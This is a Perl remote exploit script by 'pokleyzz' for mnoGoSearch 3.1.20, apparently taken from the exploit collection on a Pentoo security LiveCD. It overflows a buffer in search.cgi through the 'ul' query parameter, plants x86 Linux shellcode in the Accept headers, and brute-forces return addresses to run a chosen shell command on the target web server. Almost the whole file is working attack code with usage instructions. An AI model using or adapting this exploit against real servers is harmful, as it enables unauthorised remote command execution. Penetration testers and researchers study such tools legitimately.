home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / mngosearch / 2003.06.10.mnoGoSearch.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  177 lines

  1. #!/usr/bin/perl
  2. # [ reloaded ] 
  3. # Remote Exploit for mnoGoSearch 3.1.20 that performs
  4. # remote command execution as the webserver user id
  5. # for linux ix86
  6. # by pokleyzz
  7. #
  8.  
  9. use IO::Socket;
  10.  
  11. $host = "127.0.0.1";
  12. $cmd  = "ls -la";
  13. $searchpath = "/cgi-bin/search.cgi";
  14. $rawret = 0xbfff105c;
  15. $ret = "";
  16. $suffsize = 0;
  17. $port = 80;
  18.  
  19. my $conn;
  20.  
  21.  
  22. if ($ARGV[0]){
  23.     $host = $ARGV[0];    
  24. }
  25. else {
  26.     print "[x] mnogosearch 3.1.x exploit for linux ix86 \n\tby pokleyzz\n\n";
  27.     print "Usage:\n mencari_sebuah_nama.pl host [command] [path] [port] [suff] [ret]\n";
  28.     print "\thost\thostname to exploit\n";
  29.     print "\tcommand\tcommand to execute on server\n";
  30.     print "\tpath\tpath to search.cgi default /cgi-bin/search.cgi\n";
  31.     print "\tport\tport to connect to\n";
  32.     print "\tsuff\tif not success try to use 1, 2 or 3 for suff (default is 0)\n";
  33.     print "\tret\treturn address default bfffd0d0\n";
  34.     exit;
  35. }
  36.  
  37. if ($ARGV[1]){
  38.     $cmd = $ARGV[1];    
  39. }
  40. if ($ARGV[2]){
  41.     $searchpath = $ARGV[2];    
  42. }
  43. if ($ARGV[3]){
  44.     $port = int($ARGV[3]);    
  45. }
  46. if ($ARGV[4]){
  47.     $suffsize = int($ARGV[4]);    
  48. }    
  49. if ($ARGV[5]){
  50.     $rawret = hex_to_int($ARGV[5]);    
  51. }
  52.  
  53. #########~~ start function ~~#########
  54. sub hex_to_int {
  55.     my $hs = $_[0];  
  56.     $int = (hex(substr($hs, 0, 2)) << 24) + (hex(substr($hs, 2, 2)) << 16) +
  57.                          (hex(substr($hs, 4, 2)) << 8) + + hex(substr($hs, 6, 2));
  58.          
  59. }
  60.  
  61. sub int_to_hex {
  62.     my $in = $_[0];
  63.     $hex = sprintf "%x",$in;
  64. }
  65.  
  66. sub string_to_ret {
  67.     my $rawret = $_[0];
  68.     if (length($rawret) != 8){
  69.         print $rawret;
  70.         die "[*] incorrect return address ...\n ";
  71.     } else {
  72.         $ret = chr(hex(substr($rawret, 2, 2)));
  73.         $ret .= chr(hex(substr($rawret, 0, 2)));
  74.         $ret .= chr(hex(substr($rawret, 6, 2)));
  75.             $ret .= chr(hex(substr($rawret, 4, 2)));
  76.             
  77.     }    
  78.     
  79. }
  80.  
  81. sub connect_to {
  82.     #print "[x] Connect to $host on port $port ...\n";
  83.     $conn = IO::Socket::INET->new (
  84.                     Proto => "tcp",
  85.                     PeerAddr => "$host",
  86.                     PeerPort => "$port",
  87.                     ) or die "[*] Can't connect to $host on port $port ...\n";
  88.     $conn-> autoflush(1);
  89. }
  90.  
  91. sub check_version {
  92.     my $result;
  93.     connect_to();
  94.     print "[x] Check if $host use correct version ...\n";
  95.     print $conn "GET $searchpath?tmplt=/test/testing123 HTTP/1.1\nHost: $host\nConnection: Close\n\n"; 
  96.     
  97.     # capture result              
  98.     while ($line = <$conn>) { 
  99.         $result .= $line;
  100.         };
  101.     
  102.     close $conn;
  103.     if ($result =~ /_test_/){
  104.         print "[x] Correct version detected .. possibly vulnerable ...\n";
  105.     } else {
  106.         print $result;
  107.         die "[x] New version or wrong url\n";
  108.     }    
  109. }
  110.  
  111. sub exploit {
  112.     my $rw = $_[0];
  113.     $result = "";
  114.     # linux ix86 shellcode rip from phx.c by proton
  115.     $shellcode = "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
  116.                  ."\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
  117.                  ."\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  118.                  ."\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  119.                  ."\x41\x41"
  120.                  ."/bin/sh -c echo 'Content-Type: text/hello';echo '';"
  121.                  ."$cmd"
  122.                  ."@";
  123.     $strret = int_to_hex($rw);
  124.     $ret = string_to_ret($strret);
  125.     $envvar = 'B' x (4096 - length($shellcode));
  126.     $envvar .= $shellcode;
  127.     
  128.     # generate query string
  129.     $buffer = "B" x $suffsize;
  130.     $buffer .= "B" x 4800;
  131.     $buffer .= $ret x 200;
  132.     
  133.     $request = "GET $searchpath?ul=$buffer HTTP/1.1\n"
  134.            ."Accept: $envvar\n"
  135.            ."Accept-Language: $envvar\n"
  136.            ."Accept-Encoding: $envvar\n"
  137.            ."User-Agent: Mozilla/4.0\n"
  138.            ."Host: $host\n"
  139.            ."Connection: Close\n\n";
  140.     
  141.     &connect_to;
  142.     print "[x] Sending exploit code ..\n";
  143.     print "[x] ret: $strret\n";
  144.     print "[x] suf: $suffsize\n";
  145.     print "[x] length:",length($request),"\n";
  146.     print $conn "$request";
  147.     while ($line = <$conn>) { 
  148.         $result .= $line;
  149.         };
  150.     close $conn;
  151.     
  152. }
  153.  
  154. sub check_result {
  155.     if ($result =~ /hello/ && !($result =~ /text\/html/)){
  156.         print $result;
  157.         $success = 1;
  158.     } else {
  159.         print $result;
  160.         print "[*] Failed ...\n";
  161.         $success = 0;
  162.     }
  163. }
  164. #########~~ end function ~~#########
  165.  
  166. &check_version;
  167. for ($rawret; $rawret < 0xbfffffff;$rawret += 1024){
  168.     &exploit($rawret);
  169.     &check_result;
  170.     if ($success == 1){
  171.         exit;
  172.     }
  173.     sleep 1;
  174. }
  175.  
  176. # generate shellcode